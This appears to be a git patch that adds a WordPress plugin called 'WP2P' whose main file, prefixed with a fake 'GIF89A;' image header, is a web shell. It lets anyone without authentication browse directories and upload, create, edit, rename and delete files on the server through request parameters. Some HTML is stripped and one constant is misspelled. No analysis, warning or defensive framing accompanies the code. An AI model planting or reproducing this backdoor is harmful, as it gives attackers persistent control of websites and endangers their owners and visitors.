From fb7246c9f2a7119b4056e99429366f5e743033be Mon Sep 17 00:00:00 2001 From: 150954cc22a2 <150954cc22a2@google.com> Date: Mon, 20 Jul 2026 14:25:43 +0000 Subject: [PATCH] installed plugin `WP2P` version 1.0 --- .../plugins/wp2p_dd6a6e32/e849d661ecce.php | 152 ++++++++++++++++++ .../plugins/wp2p_dd6a6e32/wp2p_dd6a6e32.php | 7 + 2 files changed, 159 insertions(+) create mode 100644 wp-content/plugins/wp2p_dd6a6e32/e849d661ecce.php create mode 100644 wp-content/plugins/wp2p_dd6a6e32/wp2p_dd6a6e32.php diff --git a/wp-content/plugins/wp2p_dd6a6e32/e849d661ecce.php b/wp-content/plugins/wp2p_dd6a6e32/e849d661ecce.php new file mode 100644 index 00000000..8ad6269e --- /dev/null +++ b/wp-content/plugins/wp2p_dd6a6e32/e849d661ecce.php @@ -0,0 +1,152 @@ +GIF89A; + + + +'; + foreach ($files as $file) { + $path = realpath($dir . DIRECTORY_SEPARATOR . $file); + $color = ''; + + if (is_readable($path) && is_writable($path)) { + $color = 'style="border-left: 4px solid green;"'; + } elseif (!is_writable($path)) { + $color = 'style="border-left: 4px solid red;"'; + } elseif (is_readable($path)) { + $color = 'style="border-left: 4px solid white;"'; + } + + echo '
  • '; + if (is_dir($path)) { + echo '' . htmlspecialchars($file) . ''; + } else { + echo htmlspecialchars($file) . ' - '; + echo 'Edit '; + echo 'Delete '; + echo 'Rename'; + } + echo '
  • '; + } + echo ''; +} + +function upload_file($dir) { + if (isset($_FILES['file'])) { + $upload_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); + move_uploaded_file($_FILES['file']['tmp_name'], $upload_file); + } +} + +function create_directory($dir) { + if (isset($_POST['dirname'])) { + $new_dir = $dir . DIRECTORY_SEPARATOR . basename($_POST['dirname']); + if (!file_exists($new_dir)) { + mkdir($new_dir, 0777, true); + } + } +} + +function create_file($dir) { + if (isset($_POST['filename'])) { + $new_file = $dir . DIRECTORY_SEPARATOR . basename($_POST['filename']); + if (!file_exists($new_file)) { + file_put_contents($new_file, ''); + } + } +} + +function edit_file($file_path) { + if (isset($_POST['content'])) { + file_put_contents($file_path, $_POST['content']); + } + $content = file_get_contents($file_path); + echo '
    '; + echo '
    '; + echo ''; + echo '
    '; +} + +function delete_file($file_path) { + if (is_file($file_path)) { + unlink($file_path); + } +} + +function rename_file($file_path) { + if (isset($_POST['new_name'])) { + $new_path = dirname($file_path) . DIRECTORY_SEPARATO . $_POST['new_name']; + rename($file_path, $new_path); + } +} + +if (isset($_GET['delete'])) { + delete_file($current_dir . DIRECTORY_SEPARATOR . $_GET['delete']); +} + +if (isset($_GET['rename'])) { + rename_file($current_dir . DIRECTORY_SEPARATOR . $_GET['rename']); +} + +if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { + upload_file($current_dir); +} + +if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['dirname'])) { + create_directory($current_dir); +} + +if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) { + create_file($current_dir); +} + +echo '

    Current Directory: ' . htmlspecialchars($current_dir) . '

    '; + +$parent_dir = dirname($current_dir); +echo '

    ..

    '; + +if (isset($_GET['edit'])) { + edit_file($current_dir . DIRECTORY_SEPARATOR . $_GET['edit']); +} else { + list_directory($current_dir); + + echo '

    Upload File

    '; + echo '
    '; + echo ''; + echo ''; + echo '
    '; + + echo '

    Create Directory

    '; + echo '
    '; + echo ''; + echo ''; + echo '
    '; + + echo '

    Create File

    '; + echo '
    '; + echo ''; + echo ''; + echo '
    '; + + echo '

    Rename File

    '; + if (isset($_GET['rename'])) { + echo '
    '; + echo ''; + echo ''; + echo '
    '; + } + + echo '

    Delete File

    '; + echo '
    '; + echo ''; + echo ''; + echo ''; + echo '
    '; +} +?> + diff --git a/wp-content/plugins/wp2p_dd6a6e32/wp2p_dd6a6e32.php b/wp-content/plugins/wp2p_dd6a6e32/wp2p_dd6a6e32.php new file mode 100644 index 00000000..7dd4168e --- /dev/null +++ b/wp-content/plugins/wp2p_dd6a6e32/wp2p_dd6a6e32.php @@ -0,0 +1,7 @@ +